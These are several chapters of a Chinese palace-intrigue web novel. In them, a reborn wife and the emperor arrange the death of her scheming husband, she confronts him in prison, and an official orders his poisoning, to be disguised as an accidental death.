这天夜里,薛嘉言刚刚卸了钗环,准备歇下,拾英进了内室,附在她耳边,低声禀报道:“主子,方才外头递了信儿进来。明日申时,青瓦胡同。” 薛嘉言闻言,睫毛轻轻颤动了一下。自元宵节那夜之后,姜玄又寻机在青瓦胡同与她见过两回,每一次都短暂而隐秘。 他再次约见,本不让她意外。但不知为何,这一次,薛嘉言心中却隐隐升起一丝异样的感觉。她总觉得姜玄这次约她,与戚少亭有关。 这一夜,薛嘉言辗转反侧,难以安眠。 起初,是前世的梦魇纠缠。 梦中,戚少亭穿着崭新的三品官服,志得意满,看向她的眼神却冰冷嫌弃,棠姐儿小小的身体蜷缩着,脸色青白,戚少亭只是远远瞥了一眼,他冷漠绝情的嘴脸,即便在梦中,也让她心寒齿冷,恨意翻涌。 下半夜,不知怎地,又梦到那个熟悉的场景。 长宜宫,灯火摇曳,映照着姜玄那张俊美却因极度愤怒而扭曲的脸。他双目赤红,额角青筋暴起,一手死死捏着一只白玉杯盏,另一只手紧紧扼在她的脖颈上! “你……”姜玄的声音嘶哑破碎,带着难以置信的剧痛和暴怒,“你要杀我?” 薛嘉言在梦中同样痛苦不堪,呼吸困难,泪水决堤般涌出,模糊了视线。 她看着近在咫尺的、那双盛满痛苦与不可置信的眼睛,心如刀绞,想要辩解,想要否认,却只能艰难地摇头,又仿佛被巨大的愧疚淹没,无力地点头,最终从破碎的哽咽中挤出泣血般的三个字:“对……不起……” 那梦中强烈的、几乎要撕裂灵魂的痛苦和愧疚感如此真实,竟生生将她从沉睡中拽了出来! 第123章 让他去死吧 “嗬——!” 薛嘉言猛地从床上坐起,大口大口地喘息着。心脏在胸腔里疯狂撞击,带来一阵阵闷痛,仿佛真的刚刚经历了一场生死搏斗与情感凌迟。 眼泪不受控制地顺着薛嘉言的脸颊滑落,冰凉一片。她捂住心口,那里依旧残留着梦中的揪痛,难受得让她忍不住蜷缩起来。 为什么会做这样的梦? 弑君?她怎么敢?又怎么可能? 她是有前世记忆的人。前世,直到她死,姜玄与她之间从未有过如此直接的、你死我活的激烈冲突,更遑论她动手弑君。那是诛九族的大罪,她再恨再怨,也绝不会将薛家、将母亲和棠姐儿置于那般绝境。 可这个梦……如此清晰,如此真实,姜玄眼中的痛苦与愤怒,她心中的绝望与愧疚,都仿佛刻骨铭心。而且,这已经不是第一次梦到类似的场景了,只是这一次尤为激烈真切。 薛嘉言摸出帕子擦了擦额头和脖颈的汗,没了睡意。 远远传来打更声,长夜将尽,但笼罩在她心头的迷雾,却似乎更浓了。 第二日午后,薛嘉言悄然来到青瓦胡同。 院内静谧,夕阳金色的余晖中,姜玄正背对着院门,立在院中那棵老柿子树下,微微仰头,看着枝头刚刚萌发的新芽,不知在想些什么。 听到轻微的脚步声,他转过身来,夕阳为他周身镀上了一层暖金色的光边,却映不散他眉宇间那丝沉凝。但在看到薛嘉言的瞬间,那沉凝如同冰雪消融,一抹真切的笑意自眼底漾开,驱散了周遭的暮气。 姜玄几步上前,自然而然地牵起她的手,干燥温热的掌心将她微凉的手指包裹,将她带向内室。 进了内室,姜玄并未说话,转身将她拥入怀中,低头寻到她的唇,吻了下来。 几番纠缠,薛嘉言被他吻得有些气息不稳,身体微微发软,也清晰地感受到了他身体的变化。 她脸颊微烫,犹豫了片刻,还是抬起手,轻轻环住他的脖颈,羞怯在他耳边用气声低语:“栖真……你若是想要,现在……也是可以的……” 她记得大夫说过,月份稳了之后,并非绝对禁止房事。 姜玄的身体明显僵了一下,随即,他像是用尽极大意志力,猛地深吸了一口气,强迫自己从这令人眩晕的亲密中稍稍退开些许。 他额头抵着她的,闭了闭眼,再睁开时,眼底翻涌的情欲被强行压下,声音沙哑着说:“算了……我还是有些担心。” 被姜玄拒绝,薛嘉言脸上有些烧,也不好意思再坚持。 她垂下眼帘,心中却难免划过一丝黯然和猜疑——他是不是在嫌弃?嫌弃她怀着的是“戚少亭”的孩子? 姜玄喝了两口茶,稍稍浇熄了体内那股横冲直撞的燥热,他放下杯子,声音恢复了平日的沉稳,低声道:“今日叫你来,是有事同你讲。” 薛嘉言闻言,立刻收敛了心绪,抬眼一眨不眨地望向他,等待下文。 姜玄的目光落在她清澈的眸子里,直接道:“我让苗菁把戚少亭关到北镇抚司了。” 薛嘉言早有预感,听到这个消息,随即涌上一种“果然如此”的了然。她定了定神,问道:“皇上为何要抓他?” 姜玄脸色骤然一沉,眼中戾气一闪而过,冷哼一声:“他竟敢朝你动手,单凭这一点,他就该死了!” 薛嘉言抬手抚了抚自己的脖子,那里早已恢复光洁,但彼时窒息般的痛楚和恐惧似乎还残留着些许阴影。 姜玄又道:“你不是早就想让他死了吗?正好,去年他不是曾参与接待过鞑靼使团?苗菁可以‘找到’他收受鞑靼贿赂、泄露边情的证据。以此罪名处死他,名正言顺。” “不可!”薛嘉言闻言,几乎是想也不想地脱口而出,声音带着急切。 姜玄面色沉了沉,眉头紧蹙:“为何?”他的语气里带上了一丝不悦和探究。 薛嘉言快速解释道:“皇上息怒,我想让他死,但他不能带着这样的罪名死。” 姜玄道:“他本就是寡廉鲜耻之人,明明在孝期,还与长公主苟且,为达目的不择手段,这种人死有余辜。” 说到这里,姜玄顿了一下,没有继续往下说。 他看了一眼薛嘉言的肚子,他不想这孩子出生后,戚少亭竟自居这孩子的爹,一天都不可以。 薛嘉言道:”皇上,他死有余辜,可我的孩子还得堂堂正正活着,就让他死于一场意外吧。“ 戚家的名声已经够臭了,但是若声名狼藉的是棠姐儿的亲生父亲,那情况又不同了,她不想棠姐儿是逆贼的女儿。 何况她腹中这个孩子,还要假借戚少亭的名义生出来,她宁愿让戚少亭悄无声息地死去。 姜玄还没有孩子,倒是忘记了这一茬,听薛嘉言这样说,他舒了一口气,有些无所谓道:“既如此,那就让他意外死去吧。” 长乐宫内殿,鎏金香炉吐出袅袅沉檀,气氛却透着几分沉抑。 沁芳压低声音禀告:“娘娘,皇上今日下朝后,并未直接回寝宫,而是去了北镇抚司。在里面待了约莫一盏茶的时辰,具体做了什么……张庆那边暂时还没查到。皇上出来后,未乘御辇,只带着一队侍卫,由敖策亲自护卫,微服出宫去了。咱们的人跟了一段,但敖策警觉,加上圣驾轻简,中途……跟丢了。” 太后眉心蹙起:“张庆也太没用了,这点小事都做不好。罢了,你给宋琦送句话,让他动用别的路子,查清皇上今日去北镇抚司到底见了谁、做了何事,还有出宫后的去向。” “是。”沁芳刚应下,守在外殿的太监王瑛躬身进来,禀报道:“启禀娘娘,宋老夫人递了牌子求见。” 宋老大人,指的正是太后的祖母秦氏。秦氏出身江南大族,是已故太师、文正公宋嵘的遗孀,她不仅通文墨,更精史鉴,常为父兄谋士,是宋家名副其实的定海神针。 太后闻言端正了神色:“快请祖母进来。” 第124章 当年之约 不多时,秦老夫人在婢女的搀扶下缓步入殿。她年逾古稀,满头银丝梳得一丝不苟,戴着一幅金镶蓝宝的头面。面容布满岁月深痕,气度沉静,显得清癯而睿智。 入殿后,秦老夫人正要行礼,太后早已起身相迎,快步上前,亲自虚扶住祖母手臂,语气敬重:“祖母您怎么亲自来了?天还冷着呢,进宫太折腾了。” 她示意宫人搬来铺着厚软狐裘垫的紫檀木圈椅,秦老夫人就着太后的手坐下,亲昵地拍了拍她的手背。 祖孙二人依礼互问了安好,太后更是细问了祖母近日饮食起居、腿疾可曾发作,言语间满是关切。待宫女重新奉上温度适宜的热茶和几样松软易克化的点心后,太后一个眼神,殿内所有宫人便悄无声息地退得干干净净,只余心腹沁芳垂手侍立在最远处的帘幕旁。 待殿门轻轻合拢,秦老夫人开门见山,声音不高,却字字直抵核心:“娘娘,年前朝会,你力主召五王回京祭奠先帝。皇上登基方两载有余,帝位初稳,正该是低调固本之时。五位藩王,个个年富力强,手握实权,此时齐聚天子脚下……娘娘此举,究竟有何意?” 太后淡淡道:“没什么深意,不过是先帝托梦,哀家不忍他泉下孤寂,尽力而为罢了。” 秦老夫人的眼神愈发深邃:“老身不信什么先帝托梦的虚言。你是我看着长大的,告诉我,你究竟在谋算些什么?” 太后指尖微不可察地蜷缩了一下。在祖母那双仿佛能看透一切的眼睛面前,任何敷衍都显得苍白。她端起茶盏,借氤氲的热气稍作遮掩,语气维持着平稳:“皇上登基两载,励精图治,确有明君之象。然而,祖母可知,皇上对咱们宋家已非昔日光景。前朝打压宋氏门生故吏,几次我与大哥提起升调之人,皆被皇上否决。皇上羽翼渐丰,其意……恐在剪除外戚,独揽乾纲。” 太后抬眼看向祖母,眼中流露出恰到好处的忧虑:“祖母,宋家于皇上,有扶立之功,更有多年辅佐之劳。可如今,鸟尽弓藏之态已显。孙女儿身处其中,感受最深。若皇上真欲彻底清算外戚,我宋家首当其冲。” “召诸王回京,”太后语气冷静,“其一,是为彰显皇家孝悌和睦,全先帝身后哀荣,于礼于情,皇上无法拒绝,天下人也无可指摘。其二……我要让皇上看看,也让朝野看看,这天下,并非只有皇帝一人。宗室亲王,血脉尊贵,同样有其分量。此举,是提醒,亦是制衡。未雨绸缪,总好过坐以待毙。” 太后说完,静静看着秦老夫人,脸上带着一种混合了无奈和决绝神情。 秦老夫人静静听着,未置一词,只是那目光中的不赞同与忧色甚重。她哑声道:“雅章啊,何至于此?老身见皇帝待你伯父、叔父、长兄态度如旧,并没有你说得这般严重啊。” 太后冷着脸道:“我与皇上朝夕相伴六载,难道不如你们了解他?” 秦老夫人见太后这般说,瞧了两眼她的脸色,看着宋家全力培养、如今却似乎越发难以掌控的孙女,秦老夫人沉默着不再提起此事,转而说起另一事:“你九叔前几日从杞州归京了。他带回了两位族中精心教养的姑娘,皆是嫡系一脉,品貌才德,俱是上选。其中一位,名唤静仪,论辈分是你的堂侄女,年方二八。” 秦老夫人目光微凝,缓缓道:“那孩子眉眼气度间,有几分你年少时的影子,沉静雍容,举止有度。更难得的是,其八字经高人推算,乃极贵之格,凤隐其中。开春之后,选秀势在必行。老身与你叔伯们商议,意欲将此二女,送入宫中由皇帝挑选。若宋静仪若真有凤命,或许正是天意成全,延续我宋氏荣光之时。” 太后在听到“颇有几分你年少时的影子”及“凤隐其中”时,眉心几不可察地蹙动了一下,一股复杂情绪骤然涌上,迅速转化为抵触与讥诮。 她嘴角勾起一抹浅浅弧度,声音带着显而易见的疏离与嘲讽:“哦?看来是宋家觉得,这深宫之中,只有我一人姓宋,已然不够了?” 她目光扫过祖母沉静的脸,“既然连八字都合算停当,人选也已敲定,族中想必早已议决,又何须再来知会我?” 这话语夹枪带棒,怨怼之意几乎不加掩饰。秦老夫人先是一怔,随即那双阅尽沧桑的眼眸中掠过愕然与不解。 她眉头微蹙,声音依旧平稳:“娘娘何出此言?当年决意扶持六皇子时,家里人商议好了,将来皇后也得出自宋家,彼时你亦是颔首认同的。如今,不过是在践行当年之约罢了。” 这话让太后呼吸微微一滞,有一瞬间的愣神。 彼时姜玄还只是深宫角落里一个阴郁沉默的少年,是她与宋家选中的一枚棋子。 她踌躇满志,以为自己能像邓绥一样,辅佐幼主,执掌权柄,将宋家推向新的巅峰的时候。 宋家一门三后,世代尊荣,那是何等的辉煌图景!她曾真心为此激动,并愿意成为这蓝图中最关键的第一环。 可如今…… 时移世易。龙椅上的姜玄早已不是任人摆布的棋子,他羽翼渐丰,心思莫测,对她这个“母后”的疏离与防备日深,而她的心思,早已在不知不觉中彻底变了。变得幽暗难明,夹杂着权力失落的愤懑、对未来深深的失控感,以及对姜玄的复杂执念。 但这些晦暗幽深、难以启齿的心思,她如何能对祖母言明? 除非……姜玄自己愿意接纳她。但姜玄会愿意吗?想到他这半年态度的转变,太后心中没有丝毫把握。 太后胸中堵着郁气,脸色微微发白。她半晌才生硬地挤出一句:“彼一时,此一时。圣心难测……罢了,祖母既与族中已定,便按章程办吧。只是日后如何,非我能左右。” 秦老夫人最终只是几不可闻的叹息一声,起身道:“既如此,老身便去安排了。娘娘亦请保重凤体,世事如棋,落子……还需慎之又慎。” 太后没有回头,只极轻地“嗯”了一声。 第125章 问太医 送走秦老夫人,长乐宫恢复了惯有的冷清。 太后心绪烦乱,走到紫檀木书案前,铺开一张雪浪笺,提笔饱蘸浓墨,试图借练字来平复心潮。 笔锋落下,起初还算平稳,但写着写着,太后的心神便不受控制地飘远,种种烦扰交织翻腾,手下笔力不觉加重,字迹失了章法,越写越躁,最后一笔更是狠狠拖出,墨迹淋漓,毁了整幅字。 “啪!”一声脆响,太后将手中的紫毫笔狠狠掷在纸上,墨点四溅,一滴墨落在了她雪白的手背上。太后胸口微微起伏,凤眸中尽是挥之不去的郁色。 沁芳恰在此时端着参茶进来,见状,脚步微顿,随即神色如常地将茶盘轻轻放在一旁的小几上。 她先是无声地用干净的棉布,小心翼翼地将污了的宣纸连同那支被掷弃的毛笔一起卷起收起,动作麻利,并未多看一眼纸上的内容。接着,她取来温水和软巾,服侍太后净手,仔细拭去手背上沾染的墨渍。 做完这一切,沁芳指尖挑出些许清润的香膏,一边仔细地为太后揉按保养那修长的手指,一边压低声音禀告:“娘娘,宋琦那边递了消息进来。他设法探了探,北镇抚司里皇上亲自下令关押的,是个丁忧在家的小官,姓戚,名少亭,原是鸿胪寺的一个寺丞。” “鸿胪寺丞?”太后蹙起眉头,“一个从五品的小官,丁忧在家,能犯什么十恶不赦的罪过,值得皇上亲自过问?” 她直觉这里透着不寻常。 沁芳手法未停,声音依旧平缓:“具体的缘由,宋琦还没能查到。此事是锦衣卫副指挥使苗菁亲自督办,看守得滴水不漏,咱们的人很难靠近。宋琦说还在想办法。” 太后“嗯”了一声,若有所思。 沁芳稍稍加快了手上揉按的力道,继续轻声补充:“娘娘,说来也奇怪。此人去年被皇上破格提拔,竟是从从七品的主簿,一跃升为了从五品的寺丞,连升了四级。只因他原先官职太低,鸿胪寺丞也算不得高位,所以并未引起咱们这边特别注意。” 她抬眼飞快地觑了一下太后的神色,见太后凝神在听,便接着道:“皇上当时对外的说法,是欣赏戚少亭的文章,特旨擢升。可宋琦托人找了戚少亭考进士时的文章和之后的一些公文来看,此人是同进士出身,文采只能算中平,并无特别惊艳之处。这破格提拔的缘由……着实有些让人看不透。” 太后的眉头越皱越紧。 皇上若真是欣赏那人的才华,为何不留在身边做个翰林清贵,或者放到更有实权的位置?偏偏是鸿胪寺这种看似清要、实则边缘的衙门?提拔之后不久,他丁忧回家,然后就被皇上秘密关进了诏狱,这样的人,能犯什么事呢? 这一连串的事情,分开看或许都有解释,但串联在一起,就显得格外蹊跷。 太后冷声道:“告诉宋琦,让他给哀家好好地、仔细地查!把这个戚少亭的祖宗八代、姻亲故旧、升迁贬谪的每一个细节,都给哀家查个底朝天!哀家当年费心保住他的性命和前程,不是让他尸位素餐的!若再查不到有用的东西,让他自己掂量着办!” “是,婢子明白。”沁芳心头一凛,立刻躬身应下。 长宜宫暖阁内,鎏金狻猊香炉吞吐着淡雅的龙涎香。姜玄处理完一批奏章,搁下朱笔,目光有些出神地落在窗棂外的一角晴空上。 片刻后,他忽然开口,声音在寂静的殿内显得格外清晰:“张鸿宝。” “老奴在。”一直垂手侍立在角落阴影里的张鸿宝立刻上前。 “去,宣太医来。”姜玄吩咐道。 张鸿宝心里“咯噔”一下,脸上瞬间堆满担忧,声音都紧绷了:“皇上,您……您哪儿不舒坦?可要先传周院判?” 姜玄抬眼,见张鸿宝那副如临大敌的模样,知道他误会了,面上掠过一丝极淡的、几不可察的赧然,但很快被帝王的沉稳掩盖。 他清了清嗓子,语气依旧平淡:“没有,朕无恙。只是有些问题,需要咨询太医。” 张鸿宝闻言,高高悬起的心这才“咚”一声落回实处,长长舒了口气,脸上重新堆起笑容:“哎哟,皇上您可吓死老奴了!老奴这就安排人去请太医去!” 张鸿宝躬身退了出去,叫了甘松跑一趟太医院。 不多时,太医院的张太医便提着药箱,跟在甘松身后匆匆而来。 进了暖阁,姜玄挥手,殿内所有伺候的宫人,包括张鸿宝,都悄无声息地退了出去,并轻轻合上了门扉。 室内只剩君臣二人。姜玄没有绕弯子,待张太医行过礼后,便示意他近前,直接问道:“张爱卿,朕有个问题。若是……妇人已有五六个月的身孕,身体并无不适,胎象亦稳……” 他说到这里,顿了顿,似乎在斟酌用词,目光略有些游移,“……可否……可否……” 张太医是混迹宫廷多年的老人精,闻言心中瞬间明镜似的。他脸上不敢露出半分异样,立刻躬身,极其顺畅地接口,为皇帝解围:“启禀皇上,妇人孕期若身体康健,胎象稳固,房事并无不可。只是需格外注意方式与分寸,臣有几招……。” 他见皇帝听得专注,便又往前凑了半步,压低声音,快速而清晰地补充了几句具体的注意事项和适宜的姿态。 张太医言语专业,态度恭谨,毫无狎昵之意,完全是一副为君分忧、解答疑难的正经模样。 姜玄凝神听完,一直微蹙的眉头舒展开来。 “嗯。”姜玄微微颔首,恢复了平日的威严,清了清嗓子道:“好,朕知道了,管好你的嘴。” 张太医立刻保证:“皇上放心,臣今日只是奉召为皇上请平安脉,脉象平稳,龙体康健。臣嘴上有锁,皇上拿着钥匙呢。” 姜玄瞥了张太医一眼,摆摆手让他退下。 “臣告退。”张太医如蒙大赦,又行一礼,这才提着药箱,低着头退出了暖阁。 姜玄想到张太医刚刚说的话,想到下一次与薛嘉言在青瓦胡同相见,身体和心都躁动起来。 第126章 救我 北镇抚司诏狱深处,最阴湿幽暗的一间牢房。 戚少亭蜷缩在铺着薄薄一层稻草的角落,身上还是被抓那日穿的锦袍,如今已污秽不堪,沾满尘土与污渍。 他并没有被上刑,因此身上并无伤口。但精神上的恐惧,早已将他折磨得形销骨立,眼窝深陷,一有风吹草动便惊惶四顾。 自被关进来,他便疑神疑鬼,怀疑有人要毒杀他,连狱卒送来的饭食也不敢碰。头两日,他还让关在隔壁的小厮阿吉先尝,确认无事才敢哆哆嗦嗦地吃几口。这举动被送饭的狱卒看在眼里,那满脸横肉的汉子嗤笑一声,什么也没说。 第三日,饭食照常送来。戚少亭习惯性地看向隔壁,小声唤:“阿吉?阿吉?”却无人应答。 狱卒咧开嘴,似笑非笑道:“戚大人别喊了,你那小厮啊,挪出去了。”他语气里的漫不经心,让戚少亭浑身血液都凉了。 阿吉死了?还是……被处置了?越是没有答案,越是让人害怕。 从那天起,戚少亭真正陷入了孤立无援的绝境。他一个人对着空荡荡、只有老鼠窸窣声和远处隐约哀嚎的牢房,恐惧如同冰冷的毒蛇,缠绕着他,越收越紧。 他不敢睡,怕睡过去就再也醒不来;不敢吃,怕饭里下了无色无味的剧毒。短短几日,他迅速憔悴,嘴唇干裂起皮,神智在崩溃边缘徘徊。 “大人……大人!” 终于在一次狱卒路过时,戚少亭扑到冰冷的铁栏前,双手死死狱卒的腿脚,声音嘶哑颤抖,带着哭腔,“别走!求求你,别走!帮我……帮我传个话!传给长公主!对,传给长公主殿下!我有要事禀告!” 那狱卒脚步未停,甚至连眼皮都懒得抬一下,一脚踢翻他,仿佛没听见般径直走了过去。 这日,苗菁来上值,听完负责看守戚少亭的狱卒何大力例行禀报诏狱一些事情,当听到“戚大人几次三番想传话给长公主”时,他冷硬的眉梢几不可察地挑了一下。 “哦?”苗菁的声音平淡无波,“长公主?他倒会攀扯。去,问问他,要传什么话。” “是。”何大力领命,转身去了牢区。 戚少亭正抱着膝盖,头埋在臂弯里瑟瑟发抖,忽听牢门铁锁哗啦作响,吓得猛然抬头。见是狱卒端着饭食走过来,他眼中骤然爆发出濒死之人抓住救命稻草般的光芒,连滚爬爬扑到栏边。 “大人!大人您回来了!求您,发发慈悲!”他语无伦次,压低了声音,却因急切而显得尖锐,“请您一定帮我给长公主府递个话!就说……就说我知道她在封地的秘密!只要殿下肯救我出去,我愿永世效忠殿下!” 他见狱卒面无表情,心中更慌,以为筹码不够,急忙补充,声音里带着谄媚和诱惑:“大人!若您能帮我递这个话,便是我的再生父母!待我出去,定有重金酬谢!不,不止金银!我……我在还有几处产业,都可赠与大人!求您了!” 说着,他手忙脚乱地从腰带上拽下玉佩,这是他身上唯一值钱的东西,他哆哆嗦嗦地从栏杆缝隙里塞出去,满脸乞求地望着狱卒。 何大力垂下眼皮,看了一眼那玉佩,嘴角几不可察地撇了一下,似笑非笑。他伸手,用两根手指拈起那玉佩,随手揣进怀里,依旧没说话,放下饭食,转身锁好牢门便走了。 戚少亭望着他离去的背影,心中七上八下,不知这贿赂和消息能否奏效。但他已别无他法,只能将全部希望寄托于此。 何大力回到刑房,将玉佩掏出放在苗菁面前的桌案上,一五一十复述了戚少亭的话。 苗菁听完,唇边缓缓溢出一丝冰冷刺骨的讥笑,那笑意却未达眼底:“长公主的秘密?呵,真是……嫌自己死得不够快。” 他屈指,轻轻敲了敲桌面,随即下令:“把人看严了,一只苍蝇也不许飞进去惊扰。今夜……会有人来‘见’他。” 他顿了顿,补充道:“过了今夜,就送他上路。” 深夜,北镇抚司诏狱。 薛嘉言裹在一袭宽大的墨黑披风里,风帽低低压下,遮住了大半张脸,只露出一双眼眸,亦步亦趋跟在苗菁身后。 厚重的铁门次第打开又关上,发出沉闷的回响,最终停在了最深处那间牢房前。何大力熟练地打开门锁,侧身让开。 苗菁并未进去,只是侧首,与薛嘉言的目光短暂交汇,薛嘉言轻轻颔首,苗菁便带着何大力退出去了,将这一小方空间,完全留给了里面的两个人。 牢房内,一灯如豆,光线昏黄黯淡,勉强勾勒出角落里一团蜷缩的黑影——那是戚少亭。 薛嘉言走近几步,隔着冰冷粗硬的铁栏,看着马哥前世给她带来无尽痛苦的男人。她缓缓摘下风帽,低低喊了一声。 “戚少亭。” 牢房里蜷缩的影子猛地一颤!昏沉中的戚少亭如同被针刺中,骤然惊醒,茫然四顾。 待他浑浊惊恐的目光,终于聚焦在牢栏外那张熟悉的脸庞时,他灰败死寂的脸上,瞬间爆发出溺水者抓住浮木般的狂喜的光彩。 “嘉嘉?!嘉嘉!是你!真的是你!”他几乎是手脚并用地从稻草堆里扑爬到栏杆边,脏污的手指死死抓住铁栏,指节因用力而泛白,声音激动。 “嘉嘉!你来了!你是来救我的对不对?我就知道!快,快救我出去!” 他语无伦次,涕泪横流,曾经那副道貌岸然的文人皮囊早已碎得干干净净,只剩下最原始的求生欲。 薛嘉言看着他,看着他这副癫狂失态的模样。恍惚间,她仿佛看到了前世的自己——那个抱着棠姐儿冰冷的小身子,在空荡荡的庭院里嘶喊哭号、状若疯妇的自己。 真真是报应不爽。 冰冷的快意和深沉的悲凉,沉沉地划过薛嘉言的心头。 戚少亭见薛嘉言一直没说话,不由有些慌了。 “嘉嘉!我们几年夫妻,情分难道都是假的吗?我们还有棠棠,棠棠那么可爱,她才那么小,你忍心让她成为一个没有父亲的孩子吗?嘉嘉,我求求你,看在我是棠棠父亲的份上,你救救我!” 第127章 你怎么不去死? “父亲?” 薛嘉言终于开口:“你也配提‘父亲’这两个字?” 她微微前倾,厌恶地看着戚少亭的眼睛:“戚少亭,棠姐儿有你这样的父亲,还不如做个丧父的孩子。” 戚少亭被她眼中毫不掩饰的憎恶与鄙夷刺得一缩。 薛嘉言却不再给他喘息的机会,积压了两世的怒火与冤屈,如同压抑已久的火山,在这一刻轰然喷发,每一个字都带着灼热的岩浆,要将眼前这人烧成灰烬: “你把她的母亲,亲手送到别的男人床榻上的时候——你怎么就没想过,你是个父亲呢?” “你我几年夫妻没错,我自问不曾亏待你的家人,可你怎么对我的?从一开始,我便是你们选中的肥羊吧?你们吃我的,喝我的,还要用我来博前程,戚少亭,你的书都读到狗肚子里去了!” 戚少亭被她骂得脸色惨白如纸,嘴唇哆嗦着,只剩下狼狈的喘息。 “我……我……”他艰难地嚅嗫着,眼神躲闪,“嘉嘉,你……你误会了……那人……那人位高权重,我……我怎么能拒绝?我……我也是为了这个家啊……” “为了这个家?”薛嘉言嗤笑一声,“戚少亭,事到如今,你还要用这些冠冕堂皇的鬼话来自欺欺人吗?张鸿宝早就告诉我了,你敢做却不敢当吗?” 戚少亭浑身剧震,脸上血色尽褪,只剩被人彻底剥开伪装的难堪。他颓然松开了抓着栏杆的手,瘫坐在地。 “那……那人终究不是凡夫俗子……”他垂下头,声音细若蚊蚋,还在做最后无力的挣扎,“天下间,不知有多少女人想得他青睐……” “可天下间!也没有哪个女人,是被自己的夫君送到别人榻上去的!” 最后这句话,她几乎是嘶吼出来的,压抑了太久太久的屈辱、愤怒、痛苦,在这一刻彻底决堤。 牢房里陷入了死一般的寂静,只有油灯灯花偶尔爆开的轻微噼啪声,和戚少亭粗重紊乱的呼吸。 眼看薛嘉言冰冷决绝、仿佛多看自己一眼都嫌脏,戚少亭胸中那股混合着恐惧、羞辱和不甘的邪火,如同浇了滚油,轰然炸开!最后一丝理智被烧得灰飞烟灭。 “薛嘉言!”他抓紧了铁栏,额头青筋暴起,面目因极致的怨毒和疯狂而扭曲,声音嘶哑尖厉,像是用尽全身力气要将最恶毒的诅咒钉在她背上: “你这个贱人!不知廉耻的贱妇!” 他唾沫横飞,眼中是毁灭一切的赤红: “你以为你是什么好东西?从宫里回来的那天晚上,你就该一根绳子吊死自己!那才叫保全名节,那才叫知道廉耻!” “可你呢?你居然还有脸活着!有脸埋怨我,好像受了天大委屈的嘴脸!我呸!你在他身下承欢的时候,你怎么不顾廉耻?” 他仿佛找到了某种扭曲的“正当性”,越骂越激动,试图用最苛刻的贞洁观将她钉在耻辱柱上,来为自己的卑劣开脱: “被别的男人碰过了,身子脏了,你就该自行了断,以死明志!这才是好女人该做的事!可你呢?你贪生怕死,你恋慕虚荣,你舍不得他给的锦衣玉食!你非但没死,还靠着这副残花败柳的身子,怀了野种!” 戚少亭的声音因为激动和缺氧而颤抖,却充满了自以为是的“道理”和恶意: “你自己都不要脸了,自己都选择这么肮脏下贱地活下去了,你有什么资格来指责我?啊?是我逼你活下去的吗?是你自己下贱!是你自己不知羞耻!” 戚少亭喘着粗气,死死盯着薛嘉言,期待看到她崩溃,看到她被这些话击垮。 可薛嘉言只是勾唇笑了笑,前世她白女士受困于名声,被所谓的贞洁、廉耻杀死,这一世她怎么可能重蹈覆辙。 “你跟我谈廉耻?” 薛嘉言语带嘲讽:“是谁蝇营狗苟算计我?是谁卖妻求荣?是谁在父亲的热孝里钻长公主的床?” 戚少亭脸上青一阵白一阵,他没想到薛嘉言连他与长公主之间的事情也知道。 薛嘉言越想越气,咬着牙道:“你妹妹婚前失贞,无媒苟合你怎么不跟她说让她去死?你爹不要脸勾引寡妇,在外眠花宿柳,你怎么不让他去死?你自己算计好友的妻子,孝期去爬长公主的床,没有廉耻,你怎么不去死?” “逼我失节的,是你!你却要用这‘节’字为刀,反过头来要我自戕?戚少亭,这天下无耻之徒我见过不少,但如你这般,既要当婊子,又要立牌坊,还真是独一份!” 薛嘉言越说越激动:“你口口声声‘贞洁’、‘廉耻’,那不过是你们男人为了方便掌控、随意处置女人,而编造出的最虚伪、最残忍的刀!你们用它杀死过多少女子的性命?如今,还想用它来杀死我?” “可惜,我不认你这套。” “我的命,是我自己的。是干净是脏,轮不到你来判定!” 薛嘉言胸口起伏着,想到前世被他们一家用名声和亲人要挟,活得那样憋屈,恨不得现在就手刃了戚少亭。 她居高临下的看着戚少亭,唇角溢出一丝残忍的笑,说出的话更让戚少亭心惊。 “你妹妹与那魏世子虽早就勾搭上了,但没有我派人推波助澜,她也没那么快珠胎暗结,至于这件事传扬的满京皆知,自然也是我的手笔。” “你爹那个老不羞的,死在王寡妇小叔子刀下,也少不了我的算计。戚少亭,你能活到今日,是因为我原想用你的命换一些东西,如今不需要了,你只怕很快就要死了。可惜啊,我原本想着你我夫妻一场,总归要让你走得轻松一些的,现在看来是我心软了,不如让你试试你爹的千刀万剐之痛,也算你们父子同源了,你说好不好?” “不……不可能……”戚少亭摇着头,身体不受控制地颤抖。 他原以为家中这一年祸事连连是因为流年不利,从未想过这一切背后,竟是这个他从未放在眼里的薛嘉言在操控! 戚少亭双手死死抓着栏杆,歇斯底里喊道:“薛嘉言!我要杀了你!我要杀了你!” 第128章 断头饭 “你这个毒妇!你不得好死!我做鬼也不会放过你!” 戚少亭疯狂地摇晃着铁栏,发出“哐当哐当”的巨响,似乎想挣脱束缚去掐死薛嘉言。 薛嘉言看着他这副癫狂失态的模样,笑了笑,转身便走,她一眼都不想再看这个卑劣的男人。 眼看薛嘉言黑色的身影真的要消失在甬道尽头,想起薛嘉言最后说的几句话,戚少亭胸中那股疯狂的戾气,如同被戳破的气球,迅速泄得一干二净。极致的恐惧再次攫住了他,比刚才更甚。 “不!别走!嘉嘉!我错了!我刚才都是胡说八道!我疯了!我被吓疯了!” 他猛地跪倒在地,隔着栏杆朝着她消失的方向,涕泪横流,砰砰地磕着头,声音变成了凄厉的哀求,“求你!看在夫妻一场的份上!看在棠姐儿的份上!救我!救我出去!我不想死!我真的不想死啊!” “你去告诉长公主!对,告诉长公主!我有用!我知道她封地的秘密!嘉嘉,求求你,帮我递个话!就递个话!救救我——!” 哀求声、哭泣声、头骨撞击地面的闷响,混合在一起,在空旷的牢房里回荡,凄惨而绝望。 然而,甬道的尽头,只剩下无边的黑暗与寂静。 薛嘉言的身影,早已不见。 戚少亭的哭喊声渐渐低了下去,最终变成了绝望的呜咽和空洞的喘息。他瘫软在地,脸上糊满了泪水、鼻涕和尘土,眼神涣散。 走出那令人窒息的牢区,重新站在相对开阔的刑房外间,薛嘉言缓缓吐出一口胸中的浊气。 她迎上朝她走过来的苗菁,神色已经恢复了惯有的平静,言简意赅道:“该说的都说了,不过最后的时候,他让我给长公主递话,说他知晓长公主封地的秘密,长公主可以救他。” 苗菁闻言,脸上没有任何意外,唇边勾起一抹弧度:“不必理会,将死之人的胡言乱语罢了,既说完话了,我派人送你回去。” 薛嘉言微微颔首:“有劳苗大人。” 苗菁看着薛嘉言的身影消失头,招手唤来狱卒何大力,从怀中取出一个拇指大小的瓷瓶,递了过去。 “兑进酒里,看着他喝下去。”苗菁的声音只有他和何大力两人可闻,“等他死后,丢到元宝胡同附近,做得像醉酒被冻死。” 